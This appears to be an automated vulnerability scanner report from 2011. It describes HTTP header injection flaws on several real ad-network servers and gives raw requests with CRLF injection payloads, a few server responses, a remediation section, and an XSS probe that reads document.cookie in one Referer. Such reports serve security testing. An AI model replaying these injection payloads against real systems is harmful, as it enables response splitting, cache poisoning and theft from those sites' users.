HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.
Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.
Issue remediation
If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.
The value of REST URL parameter 3 is copied into the Location response header. The payload e15b1%0d%0a6f1509af8a8 was submitted in the REST URL parameter 3. This caused a response containing an injected HTTP header.
Request
GET /h.click/aDmOnIUAnTQqv3QGQmQWUy0tFpVAnM4sUXXUMIVmyu4PB8R6jA3HMt0tJKpdIN3PrR5sj9UcF6WVj8RAvnTHUSTUn12F2wVEjsTTQ7PTBZdQVBZaRFAvSdfdUVMU5U6nndenXEqp2dvZaQsZbG5AMZbmdPrUdbe0r7iYrfeXaqGgwOkdR/e15b1%0d%0a6f1509af8a8/clk.redcated/go/286222553/direct HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a9n6Tos2aFvDAJsgYZd7ZaVZbBnUCFRDfZcrc5CpEeyr56x4EgqZbVRiXOpevuTOTTDihDbFOHcSGJuUx0n2BYkMZcVBYZa4HqLQNJFQe0Wd56iBg07Tea4vWmwBS1EDDMqq7RuWyKHZaxuirn1jJ5Rs80ygrGMFn8ZcBxdmZd7B2WgEm2NmZayxlKa898JodZcwa3mGvcBVQaKImWR9QHCZdHFMpTb1Gscl0SXZaoIXxHKxr46Gtnr3yBbxK8cbBm1aPP4bewJ3tVZa4PYvlb2ZdW1vKt0ObBmdacnTZbMY1SVyDBZaViMN25SyxZdfMgI1Aa6NexXkaZcnsA6tZcEZd0B8QoyhwYs9RFYtouTrXaZbQgRXh3CpZaVZd;
The value of REST URL parameter 4 is copied into the Location response header. The payload 2e2af%0d%0a9fd7da0121a was submitted in the REST URL parameter 4. This caused a response containing an injected HTTP header.
Request
GET /h.click/aDmOnIUAnTQqv3QGQmQWUy0tFpVAnM4sUXXUMIVmyu4PB8R6jA3HMt0tJKpdIN3PrR5sj9UcF6WVj8RAvnTHUSTUn12F2wVEjsTTQ7PTBZdQVBZaRFAvSdfdUVMU5U6nndenXEqp2dvZaQsZbG5AMZbmdPrUdbe0r7iYrfeXaqGgwOkdR/http:/2e2af%0d%0a9fd7da0121a/go/286222553/direct HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a9n6Tos2aFvDAJsgYZd7ZaVZbBnUCFRDfZcrc5CpEeyr56x4EgqZbVRiXOpevuTOTTDihDbFOHcSGJuUx0n2BYkMZcVBYZa4HqLQNJFQe0Wd56iBg07Tea4vWmwBS1EDDMqq7RuWyKHZaxuirn1jJ5Rs80ygrGMFn8ZcBxdmZd7B2WgEm2NmZayxlKa898JodZcwa3mGvcBVQaKImWR9QHCZdHFMpTb1Gscl0SXZaoIXxHKxr46Gtnr3yBbxK8cbBm1aPP4bewJ3tVZa4PYvlb2ZdW1vKt0ObBmdacnTZbMY1SVyDBZaViMN25SyxZdfMgI1Aa6NexXkaZcnsA6tZcEZd0B8QoyhwYs9RFYtouTrXaZbQgRXh3CpZaVZd;
The value of REST URL parameter 5 is copied into the Location response header. The payload 6a056%0d%0a16481f959a8 was submitted in the REST URL parameter 5. This caused a response containing an injected HTTP header.
Request
GET /h.click/aDmOnIUAnTQqv3QGQmQWUy0tFpVAnM4sUXXUMIVmyu4PB8R6jA3HMt0tJKpdIN3PrR5sj9UcF6WVj8RAvnTHUSTUn12F2wVEjsTTQ7PTBZdQVBZaRFAvSdfdUVMU5U6nndenXEqp2dvZaQsZbG5AMZbmdPrUdbe0r7iYrfeXaqGgwOkdR/http:/clk.atdmt.com/6a056%0d%0a16481f959a8/286222553/direct HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a9n6Tos2aFvDAJsgYZd7ZaVZbBnUCFRDfZcrc5CpEeyr56x4EgqZbVRiXOpevuTOTTDihDbFOHcSGJuUx0n2BYkMZcVBYZa4HqLQNJFQe0Wd56iBg07Tea4vWmwBS1EDDMqq7RuWyKHZaxuirn1jJ5Rs80ygrGMFn8ZcBxdmZd7B2WgEm2NmZayxlKa898JodZcwa3mGvcBVQaKImWR9QHCZdHFMpTb1Gscl0SXZaoIXxHKxr46Gtnr3yBbxK8cbBm1aPP4bewJ3tVZa4PYvlb2ZdW1vKt0ObBmdacnTZbMY1SVyDBZaViMN25SyxZdfMgI1Aa6NexXkaZcnsA6tZcEZd0B8QoyhwYs9RFYtouTrXaZbQgRXh3CpZaVZd;
The value of REST URL parameter 6 is copied into the Location response header. The payload bee69%0d%0a64bd7fafd08 was submitted in the REST URL parameter 6. This caused a response containing an injected HTTP header.
Request
GET /h.click/aDmOnIUAnTQqv3QGQmQWUy0tFpVAnM4sUXXUMIVmyu4PB8R6jA3HMt0tJKpdIN3PrR5sj9UcF6WVj8RAvnTHUSTUn12F2wVEjsTTQ7PTBZdQVBZaRFAvSdfdUVMU5U6nndenXEqp2dvZaQsZbG5AMZbmdPrUdbe0r7iYrfeXaqGgwOkdR/http:/clk.atdmt.com/go/bee69%0d%0a64bd7fafd08/direct HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a9n6Tos2aFvDAJsgYZd7ZaVZbBnUCFRDfZcrc5CpEeyr56x4EgqZbVRiXOpevuTOTTDihDbFOHcSGJuUx0n2BYkMZcVBYZa4HqLQNJFQe0Wd56iBg07Tea4vWmwBS1EDDMqq7RuWyKHZaxuirn1jJ5Rs80ygrGMFn8ZcBxdmZd7B2WgEm2NmZayxlKa898JodZcwa3mGvcBVQaKImWR9QHCZdHFMpTb1Gscl0SXZaoIXxHKxr46Gtnr3yBbxK8cbBm1aPP4bewJ3tVZa4PYvlb2ZdW1vKt0ObBmdacnTZbMY1SVyDBZaViMN25SyxZdfMgI1Aa6NexXkaZcnsA6tZcEZd0B8QoyhwYs9RFYtouTrXaZbQgRXh3CpZaVZd;
The value of REST URL parameter 7 is copied into the Location response header. The payload 9419c%0d%0a3b509489872 was submitted in the REST URL parameter 7. This caused a response containing an injected HTTP header.
Request
GET /h.click/aDmOnIUAnTQqv3QGQmQWUy0tFpVAnM4sUXXUMIVmyu4PB8R6jA3HMt0tJKpdIN3PrR5sj9UcF6WVj8RAvnTHUSTUn12F2wVEjsTTQ7PTBZdQVBZaRFAvSdfdUVMU5U6nndenXEqp2dvZaQsZbG5AMZbmdPrUdbe0r7iYrfeXaqGgwOkdR/http:/clk.atdmt.com/go/286222553/9419c%0d%0a3b509489872 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a9n6Tos2aFvDAJsgYZd7ZaVZbBnUCFRDfZcrc5CpEeyr56x4EgqZbVRiXOpevuTOTTDihDbFOHcSGJuUx0n2BYkMZcVBYZa4HqLQNJFQe0Wd56iBg07Tea4vWmwBS1EDDMqq7RuWyKHZaxuirn1jJ5Rs80ygrGMFn8ZcBxdmZd7B2WgEm2NmZayxlKa898JodZcwa3mGvcBVQaKImWR9QHCZdHFMpTb1Gscl0SXZaoIXxHKxr46Gtnr3yBbxK8cbBm1aPP4bewJ3tVZa4PYvlb2ZdW1vKt0ObBmdacnTZbMY1SVyDBZaViMN25SyxZdfMgI1Aa6NexXkaZcnsA6tZcEZd0B8QoyhwYs9RFYtouTrXaZbQgRXh3CpZaVZd;
1.6. http://a.tribalfusion.com/h.click/aDmOnIUAnTQqv3QGQmQWUy0tFpVAnM4sUXXUMIVmyu4PB8R6jA3HMt0tJKpdIN3PrR5sj9UcF6WVj8RAvnTHUSTUn12F2wVEjsTTQ7PTBZdQVBZaRFAvSdfdUVMU5U6nndenXEqp2dvZaQsZbG5AMZbmdPrUdbe0r7iYrfeXaqGgwOkdR/http:/clk.redcated/go/286222553/direct [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload d6786%0d%0ac1bd9c8bc9e was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aDmOnIUAnTQqv3QGQmQWUy0tFpVAnM4sUXXUMIVmyu4PB8R6jA3HMt0tJKpdIN3PrR5sj9UcF6WVj8RAvnTHUSTUn12F2wVEjsTTQ7PTBZdQVBZaRFAvSdfdUVMU5U6nndenXEqp2dvZaQsZbG5AMZbmdPrUdbe0r7iYrfeXaqGgwOkdR/http:/clk.atdmt.com/go/286222553/direct?d6786%0d%0ac1bd9c8bc9e=1 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a9n6Tos2aFvDAJsgYZd7ZaVZbBnUCFRDfZcrc5CpEeyr56x4EgqZbVRiXOpevuTOTTDihDbFOHcSGJuUx0n2BYkMZcVBYZa4HqLQNJFQe0Wd56iBg07Tea4vWmwBS1EDDMqq7RuWyKHZaxuirn1jJ5Rs80ygrGMFn8ZcBxdmZd7B2WgEm2NmZayxlKa898JodZcwa3mGvcBVQaKImWR9QHCZdHFMpTb1Gscl0SXZaoIXxHKxr46Gtnr3yBbxK8cbBm1aPP4bewJ3tVZa4PYvlb2ZdW1vKt0ObBmdacnTZbMY1SVyDBZaViMN25SyxZdfMgI1Aa6NexXkaZcnsA6tZcEZd0B8QoyhwYs9RFYtouTrXaZbQgRXh3CpZaVZd;
The value of REST URL parameter 1 is copied into the Location response header. The payload 2b5b7%0d%0ad5c8147ec9d was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.
Request
GET /dot.gif2b5b7%0d%0ad5c8147ec9d?0.04387316177599132 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.30secondmba.com/?sReferrer=1055855|59579496|236318404|09b5af%22-alert(document.cookie)-%2224e2525c92&referrer=N3016.FastCompany\ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 302 Moved Temporarily Content-Type: text/html Content-Length: 36 Location: http://static.2mdn.net/dot.gif2b5b7 d5c8147ec9d: Date: Mon, 07 Mar 2011 18:14:04 GMT Server: GFE/2.0
The value of the ES cookie is copied into the Set-Cookie response header. The payload 2d004%0d%0a42b2b1e70c1 was submitted in the ES cookie. This caused a response containing an injected HTTP header.
Request
GET /adsc/d822109/8/850797/decide.php?ord=1299460728 HTTP/1.1 Host: amch.questionmarket.com Proxy-Connection: keep-alive Referer: http://www.merriam-webster.com/creative.php?pageid=Dictionary&placement=MW_DICT_728_TOP&groupid=8308787085&quantseg=D:T:2884:2775:1799:1361:1360:1355:1353:1349:1345:1343:1340&keyword=&subjcode= Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CS1=200201823465-2-1_775684-1-1_850797-8-1_39942282-8-1_39942224-8-2_600001445811-2-1_880133-4-2; ES=2d004%0d%0a42b2b1e70c1
The value of the exch request parameter is copied into the x-mm-debug response header. The payload 7dcd7%0d%0a8fa3617fb5d was submitted in the exch parameter. This caused a response containing an injected HTTP header.
Request
GET /notify?exch=7dcd7%0d%0a8fa3617fb5d&id=5aW95q2jLzEvTmpObE1tTTNOemd0WmpObE1TMDBaREF5TFRobFpUSXRNall4WkdaaE5qUTRORE5rL05HUTFZakl6TnpFdE16a3lPQzAzWVRnekxUSTBabUl0WkRVeU16STRaalUyTWpSaS81OTk1NjQ5Nzk0ODgwMDgzMi8xMTEwMjgvMTAyMDY1LzIvU2dGY0lYUXYwMXVjbks3RkRwQ25mdnlnLS1lS0VVQnZ5aG5qbHVuc1Nmby8/6s9QhZvS3kFDhwEJWzQmPIkqX1k&price=5.163917 HTTP/1.1 Host: bidder.mathtag.com Proxy-Connection: keep-alive Referer: http://www.merriam-webster.com/creative.php?pageid=Dictionary&placement=MW_DICT_300_TOP&groupid=8308787085&quantseg=D:T:2884:2775:1799:1361:1360:1355:1353:1349:1345:1343:1340&keyword=&subjcode= Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: mt_mop=9:1297862322|3:1299090747|2:1299285586|5:1297863542|10001:1297818481|1:1297862934; ts=1299429431; uuid=4d5b2371-3928-7a83-24fb-d52328f5624b
Response
HTTP/1.1 404 Not found Date: Mon, 07 Mar 2011 01:39:11 GMT Server: MMBD/3.4.5.1 Content-Type: text/html; charset=utf-8 Content-Length: 18 x-mm-debug: exchange not found - 7dcd7 8fa3617fb5d x-mm-host: ewr-bidder-x4 Connection: keep-alive
The value of the redirect request parameter is copied into the Location response header. The payload fae6a%0d%0afc39cba1417 was submitted in the redirect parameter. This caused a response containing an injected HTTP header.
Request
GET /activity?_o=62795&_t=cm_admeld&redirect=fae6a%0d%0afc39cba1417&admeld_user_id=63e2c778-f3e1-4d02-8ee2-261dfa64843d&admeld_adprovider_id=303&admeld_call_type=redirect&admeld_callback=http://tag.admeld.com/match HTTP/1.1 Host: d.xp1.ru4.com Proxy-Connection: keep-alive Referer: http://www.merriam-webster.com/creative.php?pageid=General&placement=MW_GEN_728_TOP&groupid=5267702644&quantseg=D:T:2884:2775:1799:1361:1360:1355:1353:1349:1345:1343:1340&keyword=&subjcode= Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: X1ID=KH-00000000549735899; M62795-52786=1